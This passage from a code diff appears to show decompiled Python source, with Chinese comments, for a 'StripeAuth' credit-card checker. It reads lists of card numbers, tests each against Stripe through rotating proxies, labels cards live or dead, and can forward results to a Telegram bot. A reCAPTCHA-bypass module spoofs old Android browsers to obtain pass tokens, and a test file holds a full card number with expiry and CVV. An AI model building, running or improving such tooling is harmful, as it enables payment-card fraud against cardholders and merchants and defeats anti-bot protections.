|
||||
elif 'aborted' in err_msg: hint = 'Connection aborted — TLS drop or handshake cut.'
|
||||
elif 'broken pipe' in err_msg: hint = 'Broken pipe — connection unexpectedly closed.'
|
||||
elif 'terminated' in err_msg: hint = 'Connection terminated unexpectedly.'
|
||||
elif 'name or service not known' in err_msg: hint = 'DNS resolution failed — invalid or unreachable domain.'
|
||||
elif 'no route to host' in err_msg: hint = 'Network unreachable — routing issue or firewall.'
|
||||
elif 'network is unreachable' in err_msg: hint = 'No network route available.'
|
||||
elif 'host unreachable' in err_msg: hint = 'Host unreachable — mid-network issue.'
|
||||
else: hint = 'General connection error.'
|
||||
elif isinstance(e, exceptions.ProxyError):
|
||||
if 'cannot connect' in err_msg or 'unable to connect' in err_msg: hint = 'Proxy unreachable — host down or port blocked.'
|
||||
elif 'timed out' in err_msg: hint = 'Proxy timeout — slow or overloaded proxy.'
|
||||
elif 'tls' in err_msg or 'ssl' in err_msg: hint = 'Proxy SSL handshake failed — bad HTTPS proxy.'
|
||||
elif '407' in err_msg: hint = 'Proxy authentication required.'
|
||||
elif 'badgateway' in err_msg or '502' in err_msg: hint = 'Proxy bad gateway — upstream error.'
|
||||
elif 'invalid header' in err_msg: hint = 'Proxy returned invalid/malformed headers.'
|
||||
elif 'tunnel failed' in err_msg: hint = 'HTTP CONNECT tunnel could not be established.'
|
||||
else: hint = 'General proxy error.'
|
||||
elif isinstance(e, exceptions.InvalidURL):
|
||||
hint = 'Invalid URL — malformed or contains illegal characters.'
|
||||
elif 'locationparseerror' in error_type.lower():
|
||||
hint = 'URL parsing failed — possibly missing scheme or bad format.'
|
||||
elif 'failed to parse' in err_msg:
|
||||
hint = 'URL could not be parsed — check formatting.'
|
||||
elif 'invalid proxy' in err_msg:
|
||||
hint = 'Proxy format invalid — please check credentials or host format.'
|
||||
elif isinstance(e, (exceptions.SSLError, urllib3.exceptions.SSLError)):
|
||||
if 'certificate verify failed' in err_msg: hint = 'SSL certificate verification failed.'
|
||||
elif 'wrong version number' in err_msg: hint = 'SSL version mismatch — proxy/host using invalid TLS.'
|
||||
elif 'sslv3 alert handshake failure' in err_msg: hint = 'SSL handshake failure — cipher mismatch.'
|
||||
elif 'unknown protocol' in err_msg: hint = 'SSL protocol error — non-HTTPS on HTTPS port?'
|
||||
else: hint = 'General SSL/TLS error.'
|
||||
elif isinstance(e, exceptions.HTTPError):
|
||||
if '401' in err_msg: hint = 'Unauthorized — incorrect credentials.'
|
||||
elif '403' in err_msg: hint = 'Forbidden — server blocked access.'
|
||||
elif '404' in err_msg: hint = 'Resource not found.'
|
||||
elif '429' in err_msg: hint = 'Rate limited — too many requests.'
|
||||
elif '500' in err_msg: hint = 'Server error — try again later.'
|
||||
elif '502' in err_msg: hint = 'Bad gateway — upstream service error.'
|
||||
elif '503' in err_msg: hint = 'Service unavailable — overloaded or down.'
|
||||
elif '504' in err_msg: hint = 'Gateway timeout — upstream took too long.'
|
||||
else: hint = 'HTTP error occurred.'
|
||||
elif isinstance(e, urllib3.exceptions.NewConnectionError):
|
||||
hint = 'Failed to create a new connection — DNS blocked or invalid host.'
|
||||
elif isinstance(e, urllib3.exceptions.MaxRetryError):
|
||||
hint = 'Max retries exceeded — persistent connection failures.'
|
||||
elif isinstance(e, socket.gaierror):
|
||||
hint = 'DNS lookup failed — host cannot be resolved.'
|
||||
elif isinstance(e, socket.error):
|
||||
if 'refused' in err_msg: hint = 'Socket refused — server not accepting connections.'
|
||||
elif 'reset' in err_msg: hint = 'Socket reset — remote closed abruptly.'
|
||||
elif 'timed out' in err_msg: hint = 'Socket timeout.'
|
||||
elif 'blocked' in err_msg: hint = 'Port blocked by firewall or ISP.'
|
||||
else: hint = 'General low-level socket error.'
|
||||
|
||||
with print_lock:
|
||||
print(f"{Fore.LIGHTRED_EX} -» {Fore.LIGHTWHITE_EX}{cardfull} {Fore.LIGHTWHITE_EX}- {Fore.RED}-» {Fore.YELLOW}{error_type}: {hint}{Style.RESET_ALL}")
|
||||
|
||||
sess.close()
|
||||
# 如果异常发生,继续下一次重试,直到 max_attempts
|
||||
continue
|
||||
|
||||
# 循环结束
|
||||
sess.close()
|
||||
return ("Max attempts reached", None)
|
||||
248
checker/legacy/main.py
Normal file
248
checker/legacy/main.py
Normal file
@@ -0,0 +1,248 @@
|
||||
import os
|
||||
import sys
|
||||
import time
|
||||
import requests
|
||||
import pyfiglet
|
||||
from concurrent.futures import ThreadPoolExecutor, as_completed
|
||||
from colorama import Fore, Style, init as colorama_init
|
||||
# Import the checker module (not the function) so we can access attributes on it.
|
||||
import check as checker_mod
|
||||
|
||||
# --- 模拟缺失的辅助模块/函数 (根据全局定义还原结构) ---
|
||||
# 注意:原代码中这些函数有具体实现,但字节码中未提供其函数体,
|
||||
# 这里根据 main 函数的调用方式进行了补全,以确保代码逻辑通顺。
|
||||
import logging
|
||||
logging.basicConfig(level=logging.DEBUG)
|
||||
# 全局常量
|
||||
THREADS_MAX = 3
|
||||
DEFAULT_THREADS = 1
|
||||
THREADS_MIN = 1
|
||||
tg_token = None
|
||||
tg_chat_id = None
|
||||
|
||||
# 初始化 Colorama
|
||||
colorama_init(autoreset=True)
|
||||
|
||||
class LC:
|
||||
"""模拟许可证检查类"""
|
||||
def __init__(self, label):
|
||||
self.label = label
|
||||
self.sio = self.MockSocket()
|
||||
|
||||
class MockSocket:
|
||||
def disconnect(self):
|
||||
pass
|
||||
|
||||
def inline(self, fields):
|
||||
# 模拟返回许可证信息字符串
|
||||
return f"{Fore.GREEN}License Active: {self.label}{Style.RESET_ALL}"
|
||||
|
||||
# 实例化许可证对象
|
||||
DEFAULT_LABEL = os.getenv('LICENSE_LABEL', 'Stripeauth1')
|
||||
lic = LC(label=DEFAULT_LABEL)
|
||||
|
||||
def init_license():
|
||||
pass
|
||||
|
||||
def pick_gradient():
|
||||
# 模拟返回一个渐变色配置
|
||||
return ['#ff0000', '#00ff00']
|
||||
|
||||
def color_gradient_text(text, gradient):
|
||||
# 模拟渐变色文本处理
|
||||
return text
|
||||
|
||||
def load_proxy_list(proxy_input):
|
||||
# 模拟代理加载逻辑
|
||||
if not proxy_input:
|
||||
return []
|
||||
# 简单模拟:如果是文件则读取,否则按逗号分割
|
||||
if os.path.exists(proxy_input):
|
||||
with open(proxy_input, 'r') as f:
|
||||
return [line.strip() for line in f if line.strip()]
|
||||
return [p.strip() for p in proxy_input.split(',') if p.strip()]
|
||||
|
||||
def worker(card, proxy_list):
|
||||
# 每个线程使用独立的 Session,避免线程间共享连接导致冲突
|
||||
with requests.Session() as sess:
|
||||
msg, stat = checker_mod.check(card, sess, proxy_list)
|
||||
return card, (msg, stat)
|
||||
|
||||
# --------------------------------------------------------
|
||||
# 核心 Main 函数
|
||||
# --------------------------------------------------------
|
||||
|
||||
def main():
|
||||
# 清理屏幕
|
||||
os.system('cls' if os.name == 'nt' else 'clear')
|
||||
|
||||
# 显示初始 Banner
|
||||
banner = pyfiglet.figlet_format('CHK-TOOLS', font='ansi_shadow')
|
||||
gradient = pick_gradient()
|
||||
print(color_gradient_text(banner, gradient))
|
||||
|
||||
print('- ' * 35)
|
||||
print(lic.inline(fields=('Name', 'Status', 'Expire', 'Device')))
|
||||
print('- ' * 35)
|
||||
|
||||
# 打印社交信息
|
||||
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Github {Fore.RED}: {Fore.YELLOW}github.com/KianSantang777")
|
||||
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram {Fore.RED}: {Fore.YELLOW}t.me/xqndrs")
|
||||
print('- ' * 35)
|
||||
|
||||
# Telegram 配置输入
|
||||
global tg_token, tg_chat_id
|
||||
tg_token = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Bot Token {Fore.MAGENTA}[{Fore.YELLOW}Enter to skip{Fore.MAGENTA}]{Fore.WHITE}: ").strip()
|
||||
|
||||
if tg_token:
|
||||
tg_chat_id = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Telegram Chat ID: ").strip()
|
||||
if not tg_chat_id:
|
||||
tg_token = None # 如果没有 ID,则作废 Token
|
||||
else:
|
||||
tg_token = None
|
||||
|
||||
# 同步到 checker 模块供内部使用
|
||||
checker_mod.tg_token = tg_token
|
||||
checker_mod.tg_chat_id = tg_chat_id
|
||||
|
||||
# 读取卡片文件
|
||||
path = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter card file path (ex: {Fore.YELLOW}card.txt{Style.RESET_ALL}): ").strip()
|
||||
if not path:
|
||||
path = 'cc.txt'
|
||||
|
||||
try:
|
||||
with open(path, 'r', encoding='utf-8') as f:
|
||||
# 读取非空行并去除首尾空格
|
||||
lines = [line.strip() for line in f]
|
||||
# 这里的逻辑对应字节码 1308-1380
|
||||
temp_cards = []
|
||||
for line in lines:
|
||||
if line.strip():
|
||||
temp_cards.append(line.strip())
|
||||
|
||||
# 去重逻辑 (对应字节码 1388-1446: list(dict.fromkeys(cards)))
|
||||
cards = list(dict.fromkeys(temp_cards))
|
||||
|
||||
except OSError:
|
||||
print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] Unable to read file: {path}\n")
|
||||
return
|
||||
except UnicodeDecodeError:
|
||||
print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] File must be in {Fore.RESET}UTF-8 {Fore.RESET}encoding.\n")
|
||||
return
|
||||
except KeyboardInterrupt:
|
||||
sys.exit(1)
|
||||
|
||||
if not cards:
|
||||
print(f"\n{Fore.RESET}[{Fore.LIGHTRED_EX}ERROR{Fore.RESET}] No card data found in {Fore.LIGHTRED_EX}{path}\n")
|
||||
return
|
||||
|
||||
# 代理设置
|
||||
print(f"{Fore.RED}[!] {Fore.LIGHTRED_EX}Note: {Fore.YELLOW}Comma separated, ex: user:pass@ip:port, ip:port:user:pass{Style.RESET_ALL}")
|
||||
proxy_input = input(f"{Fore.RED}[+] {Fore.LIGHTWHITE_EX}Paste ur proxy kredensials {Style.RESET_ALL}{Fore.LIGHTBLACK_EX}[Press Enter to skip]{Style.RESET_ALL}: ").strip()
|
||||
proxy_list = load_proxy_list(proxy_input)
|
||||
|
||||
if proxy_list:
|
||||
print(f"{Fore.YELLOW}[✓]{Style.RESET_ALL} Loaded {len(proxy_list)} proxies.")
|
||||
else:
|
||||
print(f"{Fore.YELLOW}[!] No proxy entered or no valid proxies loaded. Continuing without proxy.{Style.RESET_ALL}")
|
||||
|
||||
# 线程设置
|
||||
try:
|
||||
user_threads = input(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Enter number of threads (max {Fore.RED}{THREADS_MAX}{Style.RESET_ALL}, default {Fore.LIGHTRED_EX}{DEFAULT_THREADS}{Style.RESET_ALL}): ").strip()
|
||||
if user_threads:
|
||||
n = int(user_threads)
|
||||
if n < THREADS_MIN:
|
||||
print(f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Minimum threads is {THREADS_MIN}. Using default {DEFAULT_THREADS}.{Style.RESET_ALL}")
|
||||
threads = DEFAULT_THREADS
|
||||
elif n > THREADS_MAX:
|
||||
print(f"\n{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Max threads is {THREADS_MAX}. Using {THREADS_MAX} threads.{Style.RESET_ALL}")
|
||||
threads = THREADS_MAX
|
||||
else:
|
||||
threads = n
|
||||
else:
|
||||
threads = DEFAULT_THREADS
|
||||
except ValueError:
|
||||
print(f"{Fore.RESET}[{Fore.LIGHTYELLOW_EX}WARN{Fore.RESET}] Invalid input. Using default {DEFAULT_THREADS} threads.{Style.RESET_ALL}")
|
||||
threads = DEFAULT_THREADS
|
||||
except KeyboardInterrupt:
|
||||
sys.exit(1)
|
||||
|
||||
# 初始化计数器
|
||||
cnt_live = 0
|
||||
cnt_dead = 0
|
||||
cnt_unknown = 0
|
||||
res = []
|
||||
|
||||
start = time.perf_counter()
|
||||
|
||||
# 再次清理屏幕并显示正式运行 Banner
|
||||
os.system('cls' if os.name == 'nt' else 'clear')
|
||||
banner = pyfiglet.figlet_format('StripeAuth', font='ansi_shadow')
|
||||
gradient = pick_gradient()
|
||||
print(color_gradient_text(banner, gradient))
|
||||
|
||||
print('- ' * 35)
|
||||
print(lic.inline(fields=('Name', 'Status', 'Expire', 'Device')))
|
||||
print('- ' * 35)
|
||||
|
||||
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total card {Fore.YELLOW}: {Fore.YELLOW}{len(cards)}{Style.RESET_ALL}")
|
||||
if proxy_list:
|
||||
print(f"{Fore.YELLOW}[✓]{Fore.LIGHTWHITE_EX} Use {Fore.YELLOW}{len(proxy_list)} {Fore.LIGHTWHITE_EX}proxies.")
|
||||
else:
|
||||
print(f"{Fore.RED}[x] {Fore.LIGHTWHITE_EX}No proxy entered or no valid proxies loaded. Continuing without proxy.{Style.RESET_ALL}")
|
||||
|
||||
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Total threads {Fore.YELLOW}: {Fore.YELLOW}{threads}{Style.RESET_ALL}")
|
||||
# 注意:原代码此处标签写的是 "Max retry",但加载的变量是 THREADS_MAX
|
||||
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Max retry {Fore.YELLOW}: {Fore.YELLOW}{THREADS_MAX}{Style.RESET_ALL}")
|
||||
print(f"{Fore.RED}[▪︎] {Fore.LIGHTWHITE_EX}Live card saved to {Fore.YELLOW}: {Fore.LIGHTGREEN_EX}approvedcard.txt{Style.RESET_ALL}")
|
||||
print('- ' * 35)
|
||||
|
||||
# 开启线程池进行任务
|
||||
# 对应字节码: with requests.Session() as sess: (虽然这里sess没被显式用到worker里,但上下文管理器在)
|
||||
with requests.Session() as sess:
|
||||
with ThreadPoolExecutor(max_workers=threads) as ex:
|
||||
# 提交任务: ex.submit(worker, card, proxy_list)
|
||||
jobs = [ex.submit(worker, card, proxy_list) for card in cards]
|
||||
|
||||
for fut in as_completed(jobs):
|
||||
# 解包返回值: return card, (r, stat)
|
||||
# 字节码 UNPACK_SEQUENCE 2 (card), UNPACK_SEQUENCE 2 (r, stat)
|
||||
card, (r, stat) = fut.result()
|
||||
|
||||
if stat is True:
|
||||
cnt_live += 1
|
||||
res.append((card, 'LIVE'))
|
||||
# 这里可能隐含写入文件的逻辑,或者在 worker 里写,
|
||||
# 但根据字节码 4766-4800,这里只做了计数和append到res
|
||||
elif stat is False:
|
||||
cnt_dead += 1
|
||||
res.append((card, 'DEAD'))
|
||||
else:
|
||||
cnt_unknown += 1
|
||||
res.append((card, 'UNKNOWN'))
|
||||
|
||||
elapsed = time.perf_counter() - start
|
||||
|
||||
print('\n' + '- ' * 35)
|
||||
print(f"{Style.RESET_ALL}DONE. Checked {Fore.YELLOW}{len(cards)}{Style.RESET_ALL} cards in {Fore.YELLOW}{elapsed:.2f} {Style.RESET_ALL}seconds.")
|
||||
print(f"RESULTS: {Fore.LIGHTGREEN_EX}LIVE: {Style.RESET_ALL}{cnt_live}, {Fore.RED}DEAD: {Style.RESET_ALL}{cnt_dead}, {Fore.LIGHTYELLOW_EX}UNKNOWN: {Style.RESET_ALL}{cnt_unknown}\n\n")
|
||||
|
||||
if __name__ == '__main__':
|
||||
try:
|
||||
init_license()
|
||||
main()
|
||||
if lic.sio:
|
||||
lic.sio.disconnect()
|
||||
print('Graceful exit.')
|
||||
except ImportError:
|
||||
os.system('pip install requests asyncio aiohttp faker colorama pyfiglet pycryptodome &> /dev//null')
|
||||
print('\nRun again this tools\n')
|
||||
sys.exit()
|
||||
except KeyboardInterrupt:
|
||||
print('\nExit requested.')
|
||||
except Exception:
|
||||
# 对应字节码 2516-2596 (License disconnect logic inside exception handler)
|
||||
if lic.sio:
|
||||
lic.sio.disconnect()
|
||||
print('Graceful exit.')
|
||||
raise
|
||||
0
checker/legacy/recha/__init__.py
Normal file
0
checker/legacy/recha/__init__.py
Normal file
8
checker/legacy/recha/constants.py
Normal file
8
checker/legacy/recha/constants.py
Normal file
@@ -0,0 +1,8 @@
|
||||
OLD_ANDROID_USER_AGENTS = [
|
||||
"Mozilla/5.0 (Linux; U; Android 4.0.3; en-us; HTC Sensation Build/IML74K) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Mobile Safari/534.30",
|
||||
"Mozilla/5.0 (Linux; U; Android 4.1.1; en-us; Nexus 7 Build/JRO03D) AppleWebKit/534.30 (KHTML, like Gecko) Version/4.0 Safari/534.30",
|
||||
"Mozilla/5.0 (Linux; U; Android 2.3.6; en-us; Nexus S Build/GRK39F) AppleWebKit/533.1 (KHTML, like Gecko) Version/4.0 Mobile Safari/533.1",
|
||||
"Mozilla/5.0 (Linux; U; Android 3.2; en-us; X oom Build/HTK75D) AppleWebKit/534.13 (KHTML, like Gecko) Version/4.0 Safari/534.13",
|
||||
"Mozilla/5.0 (Linux; U; Android 4.4.2; en-us; Nexus 5 Build/KOT49H) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1847.114 Mobile Safari/53736"
|
||||
|
||||
]
|
||||
25
checker/legacy/recha/proxy.py
Normal file
25
checker/legacy/recha/proxy.py
Normal file
@@ -0,0 +1,25 @@
|
||||
import itertools
|
||||
from typing import Optional, Union, List, Dict
|
||||
|
||||
class ProxyRotator:
|
||||
def __init__(self, proxies: Optional[Union[str, List[str]]]):
|
||||
# 1. 如果传入的是单个字符串,先转换成列表
|
||||
if isinstance(proxies, str):
|
||||
proxies = [proxies]
|
||||
|
||||
# 2. 如果列表存在且不为空,创建一个无限循环迭代器
|
||||
if proxies:
|
||||
self._proxies = itertools.cycle(proxies)
|
||||
else:
|
||||
self._proxies = None
|
||||
|
||||
def get(self) -> Optional[Dict[str, str]]:
|
||||
# 3. 每次调用 get(),都从循环迭代器中取下一个代理
|
||||
if self._proxies:
|
||||
proxy = next(self._proxies)
|
||||
# 4. 构造 requests 库需要的字典格式
|
||||
return {
|
||||
'http': proxy,
|
||||
'https': proxy
|
||||
}
|
||||
return None
|
||||
151
checker/legacy/recha/reca.py
Normal file
151
checker/legacy/recha/reca.py
Normal file
@@ -0,0 +1,151 @@
|
||||
import logging
|
||||
import re
|
||||
from time import sleep
|
||||
|
||||
import random
|
||||
import requests
|
||||
# 假设 ProxyRotator 是外部定义的或者是同文件导入的
|
||||
from .proxy import ProxyRotator
|
||||
# 假设 OLD_ANDROID_USER_AGENTS 是一个包含旧版安卓 UA 的全局列表
|
||||
from .constants import OLD_ANDROID_USER_AGENTS
|
||||
|
||||
logger = logging.getLogger(__name__)
|
||||
|
||||
class RecaptchaRequestor:
|
||||
def __init__(self, timeout, proxies):
|
||||
self.timeout = timeout
|
||||
# 初始化代理轮换器,这是为了防止IP被封
|
||||
self.proxy_rotator = ProxyRotator(proxies)
|
||||
self.base_url = 'https://www.google.com/recaptcha'
|
||||
|
||||
def _random_headers(self):
|
||||
# 关键点:伪装成旧版安卓手机
|
||||
user_agent = random.choice(OLD_ANDROID_USER_AGENTS)
|
||||
return {
|
||||
'Content-Type': 'application/x-www-form-urlencoded',
|
||||
'User-Agent': user_agent
|
||||
}
|
||||
|
||||
def _request(self, method, endpoint, **kwargs):
|
||||
# 构造完整 URL
|
||||
url = f"{self.base_url}{endpoint}"
|
||||
|
||||
# 设置默认超时和 Header
|
||||
kwargs.setdefault('timeout', self.timeout)
|
||||
kwargs['headers'] = self._random_headers()
|
||||
|
||||
# 每次请求都切换代理 IP
|
||||
kwargs['proxies'] = self.proxy_rotator.get()
|
||||
|
||||
try:
|
||||
# 发送请求
|
||||
logger.debug('Recaptcha request %s %s params=%s', method, url, kwargs.get('params'))
|
||||
response = requests.request(method, url, **kwargs)
|
||||
response.raise_for_status()
|
||||
logger.debug('Recaptcha response %s %s status=%s', method, url, response.status_code)
|
||||
return response.text
|
||||
except requests.RequestException as exc:
|
||||
logger.warning('Recaptcha request failed %s %s: %s', method, url, exc)
|
||||
return None
|
||||
|
||||
def fetch_anchor_token(self, api_type, params):
|
||||
# 请求具体的 api_type (api2/enterprise) anchor 接口获取初始 Session
|
||||
return self._request('GET', f'/{api_type}/anchor', params=params)
|
||||
|
||||
def fetch_recaptcha_token(self, api_type, s_params, payload):
|
||||
# 请求 "/reload" 接口提交答案
|
||||
# payload 包含了上一条日志中生成的加密数据
|
||||
text = self._request('POST', f'/{api_type}/reload', params={'k': s_params.get('k')}, data=payload)
|
||||
|
||||
if text:
|
||||
# 从返回的 JSON/文本中提取最终的 "rresp" Token
|
||||
match = re.search(r'"rresp","(.*?)"', text)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
|
||||
class RecaptchaSolverSync:
|
||||
|
||||
MAX_RETRIES = 20
|
||||
RETRY_DELAY = 1
|
||||
|
||||
def __init__(self, timeout, proxies):
|
||||
# 依赖外部的一个 Requestor 类来发送 HTTP 请求
|
||||
self.client = RecaptchaRequestor(timeout=timeout, proxies=proxies)
|
||||
|
||||
@staticmethod
|
||||
def _parse_api_type(anchor_url):
|
||||
# 正则分析 URL,判断是标准版 (api2) 还是企业版 (enterprise)
|
||||
match = re.search(r'(api2|enterprise)/anchor\?(.*)', anchor_url)
|
||||
if match:
|
||||
return match.group(1), match.group(2)
|
||||
return None, None
|
||||
|
||||
@staticmethod
|
||||
def _extract_c_value(html):
|
||||
# 关键步骤:从 Google 返回的 HTML 中提取 "c" 值(Session Token)
|
||||
match = re.search(r'value="(.*?)"', html)
|
||||
if match:
|
||||
return match.group(1)
|
||||
return None
|
||||
|
||||
@staticmethod
|
||||
def _parse_params(param_str):
|
||||
# 解析 URL 查询字符串成字典,例如 "k=xxx&co=yyy" → {'k': 'xxx', 'co': 'yyy'}
|
||||
params = {}
|
||||
if param_str:
|
||||
for pair in param_str.split('&'):
|
||||
if '=' in pair:
|
||||
key, value = pair.split('=', 1)
|
||||
params[key] = value
|
||||
return params
|
||||
|
||||
def _build_payload(self, s_params, c_value):
|
||||
# 构造发送给 Recaptcha 服务器的数据包
|
||||
# 包含了版本号(v)、原因(reason=q)、Token(c)、Sitekey(k) 等
|
||||
return f"v={s_params.get('v')}&reason=q&c={c_value}&k={s_params.get('k')}&co={s_params.get('co')}"
|
||||
|
||||
def solve(self, anchor_url):
|
||||
api_type, param_str = self._parse_api_type(anchor_url)
|
||||
if not param_str:
|
||||
logger.error('Invalid anchor URL provided: %s', anchor_url)
|
||||
raise ValueError('Invalid anchor URL format.')
|
||||
|
||||
s_params = self._parse_params(param_str) # 解析参数字典
|
||||
|
||||
logger.debug('Recaptcha solve start api_type=%s params=%s', api_type, s_params)
|
||||
|
||||
# 重试循环:尝试最多 20 次
|
||||
for attempt in range(1, self.MAX_RETRIES + 1):
|
||||
logger.debug('Recaptcha attempt %d/%d', attempt, self.MAX_RETRIES)
|
||||
# 1. 请求 Anchor(复选框页面)
|
||||
anchor_token_html = self.client.fetch_anchor_token(api_type, s_params)
|
||||
if not anchor_token_html:
|
||||
logger.debug('Anchor response empty, retrying...')
|
||||
|
||||
sleep(self.RETRY_DELAY)
|
||||
continue
|
||||
|
||||
# 2. 提取 Session Token ("c" value)
|
||||
c_value = self._extract_c_value(anchor_token_html)
|
||||
if not c_value:
|
||||
logger.debug('Failed to extract c value from anchor response.')
|
||||
sleep(self.RETRY_DELAY)
|
||||
continue
|
||||
|
||||
# 3. 构造最终请求载荷
|
||||
payload = self._build_payload(s_params, c_value)
|
||||
logger.debug('Payload prepared with keys: %s', list(s_params.keys()))
|
||||
|
||||
# 4. 请求最终的 Pass Token
|
||||
token = self.client.fetch_recaptcha_token(api_type, s_params, payload)
|
||||
|
||||
if token:
|
||||
logger.info('Recaptcha solved in %d attempt(s).', attempt)
|
||||
return token # 成功拿到 Token!
|
||||
|
||||
sleep(self.RETRY_DELAY)
|
||||
|
||||
logger.error('Failed to solve reCAPTCHA after %d attempts.', self.MAX_RETRIES)
|
||||
raise RuntimeError('Failed to solve reCAPTCHA after maximum retries.')
|
||||
10
checker/legacy/test_check.py
Normal file
10
checker/legacy/test_check.py
Normal file
@@ -0,0 +1,10 @@
|
||||
import check
|
||||
import requests
|
||||
|
||||
# 测试单一卡片
|
||||
card = "4347272058609925|05|33|032"
|
||||
proxy_list = []
|
||||
|
||||
with requests.Session() as sess:
|
||||
msg, stat = check.check(card, sess, proxy_list)
|
||||
print(f"Result: {msg}, Status: {stat}")
|
||||
127
checker/legacy/utils.py
Normal file
127
checker/legacy/utils.py
Normal file
@@ -0,0 +1,127 @@
|
||||
import random
|
||||
import string
|
||||
|
||||
|
||||
import random
|
||||
import time
|
||||
|
||||
import requests
|
||||
|
||||
from datetime import timezone
|
||||
|
||||
|
||||
|
||||
# fmt 参数是 keyword-only 参数,且有默认值
|
||||
# 默认值 '%Y-%m-%dT%H:%M:%SZ' 来自上一段字节码末尾的常量池
|
||||
def format_ts(dt, *, fmt='%Y-%m-%dT%H:%M:%SZ'):
|
||||
# 1. 将时间对象 dt 转换为 UTC 时区
|
||||
# 2. 将转换后的时间对象格式化为字符串
|
||||
return dt.astimezone(timezone.utc).strftime(fmt)
|
||||
|
||||
def telegram_send(bot_token, chat_id, text, timeout):
|
||||
# 1. 检查必要参数
|
||||
if not bot_token or not chat_id:
|
||||
return False
|
||||
|
||||
try:
|
||||
# 2. 构建 API URL
|
||||
url = f'https://api.telegram.org/bot{bot_token}/sendMessage'
|
||||
|
||||
# 3. 构建请求载荷
|
||||
payload = {
|
||||
'chat_id': chat_id,
|
||||
'text': text,
|
||||
'parse_mode': 'HTML',
|
||||
'disable_web_page_preview': True
|
||||
}
|
||||
|
||||
# 4. 发送 POST 请求
|
||||
requests.post(url, json=payload, timeout=timeout)
|
||||
|
||||
# 5. 成功返回
|
||||
return True
|
||||
|
||||
except Exception:
|
||||
# 6. 发生错误返回 False
|
||||
return False
|
||||
|
||||
|
||||
def gstr(t, p, s):
|
||||
# 1. 检查前缀 p 是否存在于文本 t 中
|
||||
if p not in t:
|
||||
return ''
|
||||
|
||||
# 2. 计算截取的起始位置 a
|
||||
# t.find(p) 找到前缀的起始索引,加上 len(p) 跳过前缀本身
|
||||
a = t.find(p) + len(p)
|
||||
|
||||
# 3. 查找后缀 s 的位置 b
|
||||
# 从位置 a 开始向后查找,确保后缀在前缀之后
|
||||
b = t.find(s, a)
|
||||
|
||||
# 4. 如果找到后缀(find 返回不是 -1),则切片返回内容
|
||||
if b != -1:
|
||||
return t[a:b]
|
||||
|
||||
# 5. 如果没找到后缀,返回空字符串
|
||||
return ''
|
||||
# 根据字节码底部的常量还原的全局变量 UA
|
||||
UA = (
|
||||
# Desktop Chrome (macOS)
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
|
||||
# Desktop Chrome (Windows)
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
|
||||
# Desktop Edge (Windows)
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 Edg/130.0.0.0',
|
||||
# Desktop Chrome (Linux)
|
||||
'Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36',
|
||||
# Desktop Firefox (macOS)
|
||||
'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:131.0) Gecko/20100101 Firefox/131.0',
|
||||
# Desktop Firefox (Windows)
|
||||
'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:131.0) Gecko/20100101 Firefox/131.0'
|
||||
)
|
||||
|
||||
def sleep_random(min_seconds, max_seconds):
|
||||
# 1. 生成 min_seconds 和 max_seconds 之间的随机浮点数
|
||||
delay = random.uniform(min_seconds, max_seconds)
|
||||
|
||||
# 2. 执行睡眠
|
||||
time.sleep(delay)
|
||||
|
||||
# 3. 返回延迟时间 (用于后续可能的日志记录或显示)
|
||||
return delay
|
||||
|
||||
|
||||
# 生成密码
|
||||
def generate_password(min_length, max_length):
|
||||
|
||||
|
||||
# 1. 确定密码长度
|
||||
length = random.randint(min_length, max_length)
|
||||
|
||||
# 2. 定义字符集
|
||||
lower = string.ascii_lowercase
|
||||
upper = string.ascii_uppercase
|
||||
digits = string.digits
|
||||
symbols = '!@#$%^&*()-_=+[]{}|;:,.<>?/'
|
||||
|
||||
# 3. 初始化密码列表,强制包含每种类型至少一个字符
|
||||
password = [
|
||||
random.choice(lower),
|
||||
random.choice(upper),
|
||||
random.choice(digits),
|
||||
random.choice(symbols)
|
||||
]
|
||||
|
||||
# 4. 组合所有可用字符
|
||||
all_chars = lower + upper + digits + symbols
|
||||
|
||||
# 5. 填充剩余长度 (总长度 - 已生成的4个字符)
|
||||
# 使用 random.choices 允许重复选取
|
||||
password += random.choices(all_chars, k=length - len(password))
|
||||
|
||||
# 6. 打乱字符顺序
|
||||
random.shuffle(password)
|
||||
|
||||
# 7. 拼接成字符串并返回
|
||||
return ''.join(password)
|
||||
Reference in New Issue
Block a user